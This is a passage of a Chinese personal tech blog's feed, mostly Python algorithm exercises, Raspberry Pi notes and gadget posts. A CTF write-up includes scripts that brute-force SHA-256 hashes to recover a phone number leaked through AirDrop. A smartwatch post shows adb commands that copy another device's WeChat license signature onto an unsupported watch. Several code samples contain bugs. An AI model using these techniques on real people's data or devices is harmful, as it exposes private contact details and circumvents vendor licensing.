'W': 'Q', 'E': 'W', 'R': 'E', 'T': 'R', 'Y': 'T', 'U': 'Y', 'I': 'U','O': 'I', 'P': 'O', '[': 'P', ']': '[', '\\': ']',
'S': 'A', 'D': 'S', 'F': 'D', 'G': 'F', 'H': 'G', 'J': 'H', 'K': 'J', 'L': 'K', ':': 'L', "'": ':',
'X': 'Z', 'C': 'X', 'V': 'C', 'B': 'V', 'N': 'B', 'M': 'N', ',': 'M', '.': ',', '/': '.',
'2': '1', '3': '2', '4': '3', '5': '4', '6': '5', '7': '6', '8': '7', '9': '8', '0': '9', '-': '0', '=': '-'
}

Output = ''

for key in KeyboardInput:
try:
Output += KeyMap[key]
except KeyError as e:
Output += ' '

print(Output)

输出:

1
I AM FINE TODAY.

属于是牺牲空间换时间了~

回文串和镜像串的判断

输入一个字符串,判断它是否为回文串以及镜像(左右翻转)串。输入字符串保证不含数字0。所谓回文串,就是反转以后与原串相同,如abba和madam。所谓镜像串,就是左右镜像之后和原串相同,如2S和3AIAE。注意,并不是每个字符在镜像之后都能得到一个合法字符。(空白项表示该字符镜像后不能得到一个合法字符。)

个人题解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
InputStrings = '''NOTAPALINDROME
ISAPALINILAPASI
2A3MEAS
ATOYOTA'''

MirrorMap = {
'A': 'A',
'E': '3',
'H': 'H',
'I': 'I',
'J': 'L',
'L': 'J',
'M': 'M',
'O': 'O',
'S': '2',
'T': 'T',
'U': 'U',
'V': 'V',
'W': 'W',
'X': 'X',
'Y': 'Y',
'Z': '5',
'1': '1',
'2': 'S',
'3': 'E',
'5': 'Z',
'8': '8'
}

for string in InputStrings.split('\n'):
Reverse = True if string == string[::-1] else False
Mirror = False
MirrorString = ''
Valid = True
for char in string:
if Valid:
if MirrorMap.get(char, False):
MirrorString += MirrorMap[char]
else:
Valid = False
if Valid and MirrorString == string[::-1]:
Mirror = True
if Reverse and Mirror:
print(f'{string} -- is a mirrored palindrome.')
elif Reverse and not Mirror:
print(f'{string} -- is a regular palindrome.')
elif not Reverse and Mirror:
print(f'{string} -- is a mirrored string.')
else:
print(f'{string} -- is not a palindrome.')

输出:

1
2
3
4
NOTAPALINDROME -- is not a palindrome.
ISAPALINILAPASI -- is a regular palindrome.
2A3MEAS -- is a mirrored string.
ATOYOTA -- is a mirrored palindrome.

UVa340 猜数字游戏的提示

这是一个猜数游戏,第1行是答案序列的长度,也是询问的序列的长度(输入0结束),第2行是答案序列,接下来n行是询问序列,直到输入全0结束,每一个询问你都得给出回答,(x,y),x代表的是输入的序列中的数字与答案序列中的数字有几个是吻合的,y代表输入序列中的数字与答案序列中的数字有几个相同的,但是不在同一位置,也就是不吻合。现在请你编程实现这个功能。

个人题解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
length = int(input('Length: '))
Origin = input('Origin Input (Split with space): ').split(' ')

def getOutput(Input):
NumCount = getNumMatch(Input)
PosCount = getPosMatch(Input)
return (PosCount, NumCount)

def getNumMatch(Input):
NumCount = 0
InputList = Input.split(' ')
CheckedList = []
for pos in range(len(InputList)):
if InputList[pos] in Origin and InputList[pos] == Origin[pos]:
CheckedList.append(InputList[pos])
if InputList[pos] in Origin and InputList[pos] != Origin[pos] and not InputList[pos] in CheckedList:
print(pos)
NumCount += 1
return NumCount

def getPosMatch(Input):
PosMatch = 0
InputList = Input.split(' ')
print(InputList, Origin)
for pos in range(length):
if InputList[pos] == Origin[pos]:
PosMatch += 1
return PosMatch


if __name__ == '__main__':
while True:
Input = input('Input: ')
if len(Input.split(' ')) == length and not any(Input.split(' ')): # any()一旦里面有一个不是0就会返回True
break
else:
Result = getOutput(Input)
print(Result)
]]>
+ + + + + Coding + + + + + + + Coding + + String + + + +
+ + + + + 从零开始的Python ACM Ch.3:队列、链表与二叉树 + + /posts/Go-for-Python-Ch3/ + +

队列

队列,跟现实中一样,遵循先进先出的原则FIFO,从尾巴进去,从头部出来

用列表模拟队列

1
2
3
4
5
6
7
8
9
10
11
class Queue:
def __init__(self):
self.data = []

def enquen(self, value):
self.data.append(value)

def dequen(self):
value = self.data[0]
del self.data[0]
return value

删除会比较慢(不如链表构建的队列),因为每次del都是一个完整的O(n)操作

用链表模拟队列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
class Node:
def __init__(self, value=None, next=None):
self.value = value
self.next = next

class Queue:
def __init__(self):
self.head = None

def enquen(self, value):
if not self.head: # 当头为空
self.head = Node(value) # 将头设置为新节点
return
tail: Node = self.head
while tail.next:
tail = tail.next
tail.next = Node(value)

def dequen(self):
value = self.head.value
self.head = self.head.next
return value

def size(self):
if not self.head:
return 0
count = 0
head = self.head
while head != None:
count += 1
head = head.next
return count

size还可以作为属性来写,更方便

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class Node:
def __init__(self, value=None, next=None):
self.value = value
self.next = next

class Queue:
def __init__(self):
self.head = None
self.size = 0

def enquen(self, value):
if not self.head: # 当头为空
self.head = Node(value) # 将头设置为新节点
self.size += 1
return
tail: Node = self.head
while tail.next:
tail = tail.next
tail.next = Node(value)
self.size += 1

def dequen(self):
value = self.head.value
self.head = self.head.next
self.size -= 1
return value

例题:击鼓传花

一共有n个人玩击鼓传花小游戏,步数为p,问最后活下来的是谁

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def game(persons: list, step: int):
last = -1
while len(persons) > 1:
last += step
last = last % len(persons)
del persons[last]
return persons[0]


print(game(list('ABCD'), 3))

'''
=== Output ===
A
'''

链表与二叉树

如图,用链表模拟二叉树

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
class Node:
def __init__(self, value, next=None):
self.value = value
self.childs = []

def depth(self):
if not self.childs: # 没有孩子节点
return 1
return 1 + max([node.depth() for node in self.childs])

def iter_depth(self): # 深度优先
items = []
items.append(self.value)
for child in self.childs:
items.extend(child.iter_depth())
return items

def iter_width(self): # 广度优先
items = [self.value]
for child in self.childs:
items.extend(child.iter_width())
return items


root = Node(1)

for i in range(2,5):
root.childs.append(Node(i))

node: Node = root.childs[1]
for i in range(5,8):
node.childs.append(i)

node = root.childs[2]
for i in range(8,10):
node.childs.append(i)

node = root.childs[1][2]
for i in range(10, 12):
node.childs.append(i)

node = node[1]
node.childs.append(12)
]]>
+ + + + + Coding + + + + + + + Coding + + Queue + + + +
+ + + + + 从零开始的Python ACM Ch.2:时间复杂度、栈、面向对象及链表 + + /posts/Go-for-Python-Ch2/ + +

列表与字典的时间复杂度

列表的ls.append()复杂度是O(n),字典的插入dt['key'] = value的复杂度是O(1)。Python自带的字典排序ls.sort()复杂度是O(nlogn)(这个排序算法是用C语言写的,基本上自己在Python里面写的排序算法都没有它快

栈(Stack)

基本操作:

  • 压栈stack.append(element)
  • 出栈 del stack[-1]
  • 判断是否为空 len(stack) == 0

面向对象的Python编程

以栈对象为例

1
2
3
4
5
6
7
8
9
10
11
12
class Stack:
def __init__(self, x, y):# 构造类里面的函数,在每次实例化的同时会自动调用__init__函数
self.x = x
self.y = y
self.summary = x + y
s = Stack(3, 4)# 得到一个Stack类型的实例(实例化)
print(s.x, s.y, s.summary)

'''
=== Output ===
3 4 7
'''

更深一步,在对象里面定义对象的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class Stack:
def __init__(self, x, y):# 构造类里面的函数,在每次实例化的同时会自动调用__init__函数
self.x = x
self.y = y

def summary(self):
return self.x + self.y

def reset(self):
self.x = 0
self.b = 0


s = Stack(3, 4) # 得到一个Stack类型的实例(实例化)
print(s.summary())

'''
=== Output ===
7
'''

例题

创建一个类型Rect(矩形),能执行以下代码

1
2
3
4
5
6
7
8
r1 = Rect(10, 20)
print(r1.width)# 10
print(r1.height)# 20
print(r1.area())# 200
print(r1.length())# 60

r2 = Rect(5, 6)
print(r2.area())

我的题解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
class Rect:
def __init__(self, width, height):
self.width = width
self.height = height

def area(self):
return self.width * self.height

def length(self):
return (self.width + self.height) * 2


r1 = Rect(10, 20)
print(r1.width)# 10
print(r1.height) # 20
print(r1.area()) # 200
print(r1.length()) # 60

r2 = Rect(5, 6)
print(r2.area())

'''
=== Output ===
10
20
200
60
30
'''

例题:使用列表模拟栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Stack:
def __init__(self):
self.data = []

def enquen(self, value):
self.data.append(value)

def dequen(self):
value = self.data[-1]
del self.data[-1]
return value

def isEnpty(self):
return len(self.data) == 0

对栈进行操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import random

class Stack:
def __init__(self):
self.data = []

def enquen(self, value):
self.data.append(value)

def dequen(self):
value = self.data[-1]
del self.data[-1]
return value

def isEmpty(self):
return len(self.data) == 0

if __name__ == '__main__':
stack = Stack()
for i in range(100):
stack.enquen(random.randint(0,100))
print(stack.data)
for i in range(10):
value = stack.dequen()
print(value, end=' ')
print('\n')
print(stack.data)

'''
=== Output ===
[3, 88, 78, 41, 28, 81, 33, 91, 86, 17, 57, 39, 17, 17, 98, 69, 65, 86, 83, 60, 67, 10, 95, 8, 66, 37, 10, 64, 41, 79, 39, 57, 32, 44, 62, 28, 32, 75, 41, 42, 87, 8, 7, 82, 85, 54, 2, 13, 96, 70, 1, 25, 47, 10, 75, 29, 92, 60, 29, 73, 24, 76, 5, 70, 62, 5, 85, 54, 25, 44, 37, 53, 11, 39, 25, 67, 37, 6, 99, 58, 97, 33, 26, 35, 50, 73, 48, 49, 16, 89, 2, 86, 28, 10, 89, 91, 1, 81, 9, 26]
26 9 81 1 91 89 10 28 86 2

[3, 88, 78, 41, 28, 81, 33, 91, 86, 17, 57, 39, 17, 17, 98, 69, 65, 86, 83, 60, 67, 10, 95, 8, 66, 37, 10, 64, 41, 79, 39, 57, 32, 44, 62, 28, 32, 75, 41, 42, 87, 8, 7, 82, 85, 54, 2, 13, 96, 70, 1, 25, 47, 10, 75, 29, 92, 60, 29, 73, 24, 76, 5, 70, 62, 5, 85, 54, 25, 44, 37, 53, 11, 39, 25, 67, 37, 6, 99, 58, 97, 33, 26, 35, 50, 73, 48, 49, 16, 89]
'''

例题:匹配括号

已知一串由小括号( )组成的字符串,试判断该字符串中的括号组合是否合法

我的题解(时间复杂度O(n^2),因为replace要先查找再替换,进行了两次遍历:

1
2
3
4
5
6
7
8
9
10
11
12
s = ()()()(((())))))()
result = -1

while True:
if "()" not in s:
result = False
break
if len(s) == 0:
result = True
break
s.replace('()','')
print(result)

优化版(利用栈的特性):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class Stack:
def __init__(self):
self.data = []

def enquen(self, value):
self.data.append(value)

def dequen(self):
value = self.data[-1]
del self.data[-1]
return value

def isEmpty(self):
return len(self.data) == 0


s = '()()()(((())))))()'

if __name__ == '__main__':
result=-1
stack=Stack()
for c in s:
if c == '(':
stack.enquen('(')
else:
if stack.isEmpty():
result=False
break
stack.dequen()
result=stack.isEmpty()
print(result)

例题:匹配括号(升级版)

在上一题的基础上,括号不只有小括号了,还有中括号[]和花括号{},同样判断括号对是否合法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
class Stack:
def __init__(self):
self.data = []

def enquen(self, value):
self.data.append(value)

def dequen(self):
value = self.data[-1]
del self.data[-1]
return value

def isEmpty(self):
return len(self.data) == 0


s = '()(((())))))){{}}}}[[]]]]]])'

if __name__ == '__main__':
result = -1
stack = Stack()
for c in s:
if c in "([{":
stack.enquen(c)
else:
if stack.isEmpty():
result = False
break
value = stack.dequen()
if (c == ')' and value == '(') or (c == ']' and value == '[') or (c == '}' and value == '{'):
pass
else:
result = False
break
result = stack.isEmpty()
print(result)

all()/any()的用法

官方说明

1
2
3
4
5
6
7
8
9
10
11
12
13
all()

Return True if bool(x) is True for all values x in the iterable.

If the iterable is empty, return True.

=========================================================================

any()

Return True if bool(x) is True for any x in the iterable.

If the iterable is empty, return False.

应用举例

1
2
3
4
5
6
7
8
9
dt = {1: 0, 2: 0, 3: 1}
print(all(dt.values()))
print(any(dt.values()))

'''
=== Output ===
False
True
'''

因为字典里面不全是1,在Python里面,1代表True,不全为1所以为False,但是对于any函数,里面一旦出现了True就返回True,所以这里是True

链表

链表里面的基本单位是结点(node),单链表只存储值和下一节点的位置,双链表保存到一个上一节点的位置

1
2
3
4
5
6
7
8
9
10
class Node:# 单链表
def __init__(self, value, next):
self.value = value
self.next = next

class Node:# 双链表
def __init__(self, value, prev, next):
self.value = value
self.next = next
self.prev = prev

用双链表模拟栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class Node:# 双链表
def __init__(self, value, prev = None, next = None):
self.value = value
self.prev = prev
self.next = next

class Stack:
def __init__(self):
self.tail = None

def enquen(self, value):
node = Node(value)
node.prev = self.tail
if self.tail:
self.tail.next = node
self.tail = node

def dequen(self):
self.tail = self.tail.prev
if self.tail:
self.tail.next = None

def isEmpty(self):
self.tail == None
]]>
+ + + + + Coding + + + + + + + Python + + Coding + + Stack + + Class + + + +
+ + + + + 从零开始的Python ACM Ch.1:数据类型及基本数据处理 + + /posts/Go-for-Python-Ch1/ + +

基本数据类型

可迭代数据类型

通用操作:

  • 遍历
  • max
  • min
  • sum
  • len
  • 成员测试 in、not in

序列数据类型

通用操作:

  • 索引
  • 切片
  • index
  • count
  • 同类型加法拼接
  • 整数乘法重复

字符串

不可变数据类型(对字符串的所有修改操作,都是返回一个新的字符串)

特有操作:

  • s.upper()
  • s.lower()
  • s.replace(sub1, sub2)
  • s.join(Iterable[str])
  • s.format()
  • s.split(c)

元组

不可变数据类型,基本是拿来用索引,或者切片

列表

可变数据类型

特有操作:

  • 通过索引进行修改

  • 通过切片进行修改

  • ls.append(x)

  • del ls[i] i为元素索引

  • ls.remove(x) x为元素值

  • ls.extend(lt2)

  • ls.insert(i, x)

  • ls.reverse()

  • ls.clear()

  • 列表表达式

集合 & 字典

集合中的元素、字典的键 都必须为不可变数据类型,不能重复

如果直接对字典进行for循环的遍历,那么出来的是字典的键

集合的特有方法:

  • s.pop() 弹出集合s中的一个元素
  • s.add(x) 将x添加到集合s中
  • s.remove(x) 删除集合s中的元素x,x不存在则出错
  • s.discard(x) 删除集合s中的元素x,x不存在不出错
  • s.update(t) 将集合t合并到集合s中
  • s.clear() 清空集合s
  • s-t 差集
  • s&t 交集
  • s|t 并集
  • s^t 并集减去交集
  • s.isdisjoint(t) 判断是否相交 比较操作 判断包含关系

字典的特有方法:

  • 通过键进行索引

  • d.keys() 所有键的迭代器

  • d.values() 所有值的迭代器

  • d.items() 所有键值对的迭代器

  • d.get(key, default) 如果key存在,返回d[key],否则返回default

  • d.pop(key, default) 返回 d.get(key, default) 并不出错的删除key

  • d.popitem()

  • d.update(d2)

列表表达式

一般我们使用的列表长这样

1
ls = [123,456,789,0]

但是Python里面有个东西叫做列表表达式,例如

1
ls1 = [i for i in range(0,100)]

这会生成一个带有0-99的int数据类型的列表,非常简洁

列表的排序

一般来说,你自己在Python里面写的对列表进行排序的函数,都不如内置的list().sort(*, key=key, reverse=False)要快,谁让人家是C语言写的排序呢……

但是list().sort()有个坑,我前两天帮人数学建模的时候还是踩进了这个坑,就是:这个方法是直接作用于列表本身,没有返回值的,所以进行赋值的时候就会变成none

例题1

下面的列表a是人物的名字,b是他们对应的年龄,请输出18岁以下的人物并根据他们的年龄进行升序排列

1
2
a = ['tom', 'iron man','jerry', 'donald', 'micky', 'spider man']
b = [3, 32, 1, 8, 2, 19]

我的做法是用多一个列表,往里面用元组的形式填他们的名字以及年龄信息

1
2
3
4
5
6
7
ls = []

for i in a:
pos = a.index(i)
age = b[pos]
if age < 18:
ls.append((i,age))

ls进行打印,得出这样的一个列表

1
[('tom', 3), ('jerry', 1), ('donald', 8), ('micky', 2)]

再通过sort函数和lambda表达式进行排序,对所需要的东西进行打印

1
2
3
ls.sort(key=lambda x: x[1])
for i in ls:
print(i[0])

输出为

1
2
3
4
jerry
micky
tom
donald

但是经过教员的提醒,还有个zip()函数可以直接把两个列表中的对应位置的元素合在一起变成元组

1
items = list(zip(a,b))

这样做的结果跟上面的ls的结果是一样的

然后再在列表表达式里面筛选,两步可以合在一起

1
2
3
items = [item for item in list(zip(a,b)) if item[1] < 18]
for i in items:
print(i[0])

启示:少用字典,筛选放在后面去

例题2

2089. 找出数组排序后的目标下标 - 力扣(LeetCode)

我的题解:

1
2
3
4
5
6
7
8
class Solution:
def targetIndices(self, nums: List[int], target: int) -> List[int]:
nums.sort()
result = []
for i in range(0,len(nums)):
if nums[i] == target:
result.append(i)
return result

优化版(因为找到了以后,再往后就不存在要找的了,所以可以直接break掉)

1
2
3
4
5
6
7
8
9
10
11
class Solution:
def targetIndices(self, nums: List[int], target: int) -> List[int]:
nums.sort()
result = []
found = False
for i in range(0,len(nums)):
if nums[i] == target:
result.append(i)
if nums[i] != target and found:
break
return result

例题3

2215. 找出两数组的不同 - 力扣(LeetCode)

我的题解:

1
2
3
4
5
6
7
8
9
10
class Solution:
def findDifference(self, nums1: List[int], nums2: List[int]) -> List[List[int]]:
answer = [[],[]]
for i in nums1:
if i not in nums2 and i not in answer[0]:
answer[0].append(i)
for i in nums2:
if i not in nums1 and i not in answer[1]:
answer[1].append(i)
return answer

优化版(找不同的可以用集合去做):

1
2
3
4
5
6
7
8
class Solution:
def findDifference(self, nums1: List[int], nums2: List[int]) -> List[List[int]]:
s1 = set(nums1)
s2 = set(nums2)
answer = [[],[]]
answer[0] = list(s1-s2)
answer[1] = list(s2-s1)
return answer

例题4

599. 两个列表的最小索引总和 - 力扣(LeetCode)

我的题解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Solution:
def findRestaurant(self, list1: List[str], list2: List[str]) -> List[str]:
lovedRest = []
for i in list1:
if i in list2:
indexSum = list1.index(i) + list2.index(i)
lovedRest.append((i,indexSum))
lovedRest.sort(key=lambda x: x[1])
result = []
result.append(lovedRest[0][0])
for i in range(1,len(lovedRest)):
if lovedRest[i][1] == lovedRest[0][1]: result.append(lovedRest[i][0])
else: break
return result

enumerate(list)在遍历的过程中出现index, value的返回值,可以在for循环使用,例如

1
2
3
...(上面已经定义了ls为列表)
for i, value in enumerate(ls):
pass

所以上面这一题也可以改一改,用这个方法可以免去用ls.index()的麻烦

例题5

2200. 找出数组中的所有 K 近邻下标 - 力扣(LeetCode)

我的题解(OT了):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Solution:
def abs(num):
if num < 0:
return num*-1
else: return num
def findKDistantIndices(self, nums: List[int], key: int, k: int) -> List[int]:
keyPos = [i for i in range(0,len(nums)) if nums[i] == key]
result = []
for pos in keyPos:
for i in range(0,len(nums)):
if abs(i-pos)<=k and i not in result: result.append(i)
else: pass
result.sort()
return result

优化版:

思路是从i所在位置往左往右k个位置是否有key,如果有的话就进行计算,没有就跳过,省去了很多遍历

1
2
3
4
5
6
7
class Solution:
def findKDistantIndices(self, nums: List[int], key: int, k: int) -> List[int]:
result = []
for i in range(len(nums)):
if key in nums[max(0,i-k):i+k+1]:
result.append(i)
return result

列表的空间

列表在内存中是连续的,但是如果要用申请的空间之外的地方的话(即加长列表)就要再次申请,会减慢运行,所以可以先申请一大片空间

1
ls = [0]*1000
]]>
+ + + + + Coding + + + + + + + Python + + Coding + + datatype + + + +
+ + + + + 使用Python和Qt5来制作带有GUI的程序(持续更新) + + /posts/Making-GUI-with-PyQt5/ + +

我还是向我不熟悉的领域发起了挑战——制作GUI

印象中我做GUI只有在MIT App Inventor (gzjkw.net)Visual Basics里面做过(下图为以前拿去参赛的作品,获得了省三),而且VB很久都没用过了

这回主要是创新项目的需要,要做一个带有GUI的附属程序,所以我研究起了怎么做GUI

我用的是比较知名的Qt5这个东西(本来还尝试过dearpygui Tkinker pygame之类的,但是因为感觉太繁琐了就不用了)

]]>
+ + + + + Tech + + + + + + + Tech + + + +
+ + + + + Raspberry 4B 折腾记录(持续更新) + + /posts/Raspberry-4B-Log/ + +

烧录系统

我用的是balenaEtcher这个软件(别问为什么,问就是好看),比起Win32DiskImager和Rufus来说更好用一点(个人感觉)

(↓没插读卡器所以用磁盘代替一下,千万别写入磁盘!)

对ext4格式的存储介质进行写入

我用的是DiskGenius,但是不知道为什么在我的电脑上打开会提示这个……

Err: NTLEAS may be lost connection with hook process.

我这个用的是5.1.1的中文专业版(免费版不能对ext4格式进行写入),因为打不开所以我去换了个版本。

从网上下了个5.2.0.884就好了,就,很奇怪,估计是这个版本的问题。

重装Kali Linux后在无屏幕的条件下自动连接WIFI(未解决)

这个我在网上找了很多方法,但是我发现很多他们都是用的树莓派自己的Debian衍生系统,用的不是Kali,这个方法用在Kali上等于无效……

直到我发现了这几个

树莓派 kali Linux 开机自动连接WiFi (bash 脚本)_yayaleII的博客-CSDN博客_kali自动连接wifi

kali(64位)在树莓派4B的安装配置_CTQ54250的博客-CSDN博客

我尝试了一下,但是说白了,还是没解决……

使用屏幕键盘

1
sudo apt install matchbox-keyboard

在Raspberry Pi上

1
matchbox-keyboard

通过SSH

1
DISPLAY=:0 matchbox-keyboard &

该命令将加载Raspberry Pi上的屏幕键盘软件。

在树莓派上安装RDP服务

使用Har-Kuun/OneClickDesktop: A one-click script that installs a remote desktop environment on a Linux server with browser/RDP/VNC access. (github.com)

直接运行,但是在shell脚本里面需要把OS检查关掉(如果你像我一样用的是Kali)

1
2
3
4
5
#此脚本仅支持Ubuntu 18/20, Debian 10, 以及CentOS 7/8.
#如果您试图再其他版本的操作系统中安装,可以在下面禁用OS检查开关。
#请注意,在其他操作系统上安装此脚本可能会导致不可预料的错误。 请在安装前做好备份。

OS_CHECK_ENABLED=OFF

安装时可能会遇到依赖环境未安装的情况,直接用apt安装就行了

libpng

1
sudo apt install libpng-dev -y

libjpeg

1
sudo apt install libpng-dev -y

Cairo

1
sudo apt install libcairo2 libcairo2-dev -y

OSSP UUID

1
sudo apt install libossp-uuid-dev -y

无法编译

因为OpenSSL升级到3.0.0然后不支持,所以直接降级回去就行了

默认是OpenSSL 1.1.1m,所以建议先编译完再升级(没事别sudo apt upgrade -y

]]>
+ + + + + IoT + + + + + + + IoT + + Raspberry + + + +
+ + + + + 2022网鼎杯青龙组——个人WriteUP + + /posts/CTF-20220826-wangdingcup-qinglong/ + +

签到

没啥技术含量,求助于万能的 百度 Bing

crypto091

小A鼓起勇气向女神索要电话号码,但女神一定要考考他。女神说她最近刚看了一篇发表于安全顶会USENIX Security 2021的论文,论文发现苹果AirDrop隔空投送功能的漏洞,该漏洞可以向陌生人泄露AirDrop发起者或接收者的电话号码和电子邮箱。小A经过一番努力,获得了女神手机在AirDrop时传输的手机号哈希值,但再往下就不会了,你能继续帮助他吗?小A只记得女神手机号是170号段首批放号的联通号码。

Hash:c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc

flag格式:flag{13位电话号码(纯数字,含国家代码)}

  • 170号段首批放号的联通号码:1709
  • 限定做法:Hash爆破
  • Hash为64位,因此Hash的计算方法是sha256
1
2
3
4
5
6
7
8
9
10
11
12
import hashlib
prefix = '861709' # 联通首批放号的电话号码头
compare_hash = 'c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc'
result = 0
for i in range(0,10000000):
to_hash = prefix+'{:0>7}'.format(str(i))# 这么写主要是为了构造电话号码的格式
to_compare_hash=hashlib.sha256(to_hash.encode()).hexdigest()
print(to_hash, to_compare_hash)
if to_compare_hash == compare_hash:
result = prefix+str(i)
break
print(result)

Hash爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import hashlib
from itertools import permutations
import string
salt = input('salt: ')
target = input('target: ')
ls = string.ascii_letters + string.digits
res = permutations(ls,4)
result = 'empty'
for _ in res:
XXXX = _[0]+_[1]+_[2]+_[3]
to_hash = XXXX+salt
if hashlib.sha256(to_hash.encode()).hexdigest() == target:
result = XXXX
break
print(result)

用于解决题目提示XXXX + 一串salt == Hash值的开头问题,因为已经很多次遇到这种问题了,所以写了个脚本来爆破,只需要输入对应的salt和hash就可以解出来

]]>
+ + + + + CTF + + + + + + + CTF + + Crypto + + Hash + + + +
+ + + + + Ticwatch Pro 3 使用体验报告 + + /posts/Ticwatch-pro-3-experience/ + +

最近因为游泳,带着我的小米手环6,结果第二天游泳下来发现,它的屏幕不好使了,有鬼触的现象,于是就想换一块表

因为身边用OPPO Watch 2的人比较多,我又不想跟他们用一样的东西,于是我另辟蹊径,找其他的表

一开始看到米表,但是据说配置拉胯,就不考虑了,然后看到了出门问问家的Ticwatch pro 3,这是一个搭载着Google WearOS的智能手表,不过当然有着中国化的成分(指删除大量谷歌服务)

跟鱼子市场的卖家进行大量沟通后,我以合适的价格拿下了这块表

接着就开始折腾了,拿到手是一块啥东西都没设置的新表,会进入“新手引导”模式,我也是花费了一定的时间才弄好


折腾环节

按下右上方的按键就可以打开启动器,从启动器打开软件

从应用商店安装软件

官方的应用商店就跟App Store一样,一键下载安装就行,其实没啥难度,这里就附几张图吧

使用adb安装软件

使用计算机从adb安装软件

这个要求打开adb,跟手机的开启方法一样,连续点击版本号开启开发者选项,然后在开发者选项里面找到adb调试,把它和通过WLAN调试都打开

让手表和电脑连到同一个WIFI,查看手表的IP地址,接着电脑输入adb connect <ip>就可以连接到手表了,然后使用adb install <apk>就能安装软件了

使用第三方应用商店安装软件

这里我用了一个叫做唯趣应用商店的东西(官网:唯趣应用商店 - 下载 (etralab.top)),本质也是用adb的,因为手表的软件包管理被阉割了,所以我们只能通过adb来装东西

这是一个手表上的应用商店,找到自己想要的软件直接下载安装就行了

使用微信儿童手表版

为什么我要单开一个标题给这个内容,因为自带的绿色微信需要连接手机同步使用,这就违背了我用它的理念,我就是要脱离手机使用

隔壁OPPO Watch可以使用微信手表版,但是TWP3不支持,因为微信没有给LICENSE给TWP3,那就只能借用LICENSE了

我借了块OPPO Watch来提取它的LICENSE,首先打开OW的adb调试,连接到电脑

然后输入以下命令来获取LICENSE

1
adb shell settings list global

(图为TWP3的配置,因为忘记截图了,然后我已经放进去了,就直接拿来顶替了)

我们找到以下内容,把这些内容先保存起来

字段类型名字相关作用
intilink_product_id产品id
intilink_key_version版本
intilink_supportilink_support =1表示手表支持运行微信
stringilink_device_id设备id
Stringilink_device_signature验证签名

然后连接到TWP3,使用命令来写入配置

1
2
3
4
5
adb shell settings put global ilink_device_id "device_id"
adb shell settings put global ilink_device_signature "device_signature"
adb shell settings put global ilink_key_version "1"
adb shell settings put global ilink_product_id "xxxx"
adb shell settings put global ilink_support "1"

写入后,再次打开微信儿童版就可以扫码登录使用了

使用体验

优点

带有ESIM确实可以脱离手机使用,还可以刷一刷B站(用腕上哔哩),看看新闻啥的,特别符合我现在的状态。有的时候跟群友用QQ吹水或者用微信跟我妈聊会天,完全OK

缺点

圆屏毕竟不是OW的方屏,很多手机的APP装上TWP3后会因为屏幕的限制而变得无法使用(如Outlook),而且TWP3阉割了Android Webview组件,导致很多东西用不了(直接闪退,例如在QQ邮箱阅读邮件)

另外,没有闪充,充电很慢,而且配的线是2PIN的,手表有4个金属触点,换言之就是没有数据传输功能(晚点自造线去)

总结

总的来说,使用体验跟价格是匹配的,能够满足我的日常需求,但你要问我推不推荐购买,我只能说现阶段OW3可能更好一些

]]>
+ + + + + Diary + + + + + + + Diary + + Ticwatch + + adb + + + +
+ + + + + 日常吐槽10:我的域名被停止解析了 —— 一段时间 + + /posts/diary10/ + +

这件事还得从群里的兄弟那里说起(右图)

主要是我这边没办法用个人身份备案,然后有些东西没有备案就很恼人,尤其是最近收到的Leancloud国际版不对大陆用户提供服务的通知

这就搞得没备案会让我陷入被动(特别是在某些服务上面),那没办法啦,既然有能够弄企备的方法,那就去弄一个吧

然后我就找上门了,就像下面这样

然后我就开始等待了,按照对面的说法我前面还有一个人,然后备案要等14-30天

结果某一天,别人告诉我服务炸了

然后我就去排查,看我的腾讯云上TS正在正常运行,但是就是连不到

与此同时,我的MC服务器也连接不到了,但是BungeeCord还在正常运行

我就猜是不是域名解析掉了,我就去问备案那边,他说确实是

那有啥办法嘛,只能等了呗

我就把我的必要服务开了第二个域名,例如我的BLOG开在了https://blog.ninym.top上面,前几天做的hexo域名检测工具开在了https://linkcheck.ninym.top

然后把部分Github仓库涉及到文档在我的网站上的加一条备用文档链接,然后陷入无尽的等待……

]]>
+ + + + + diary + + + + + + + diary + + + +
+ + + + + Vercel搭建反向代理 + + /posts/vercel-reverse-proxy/ + +

首先你需要安装一下vercel的命令行工具,使用npm进行安装(需要安装nodejs,没安装的自己去下一个)

1
npm i -g vercel

当然你也可以用cnpm安装

1
cnpm i -g vercel

安装完后可以使用vercel -v来看看是否安装成功了

1
2
3
vercel -v
>> Vercel CLI 24.2.4
>> 24.2.4

接着把下面这些内容复制到一个json文件里面

1
2
3
4
5
6
{
"version": 2,
"routes": [
{"src": "/(.*)","dest": "https://bili33.top/$1"}
]
}

其中,我的域名那里可以改成你想要反代的网站的域名,例如填写cdn.jsdelivr.net,就可以按照jsdelivr的格式去使用它的CDN,例如

1
2
3
4
5
6
7
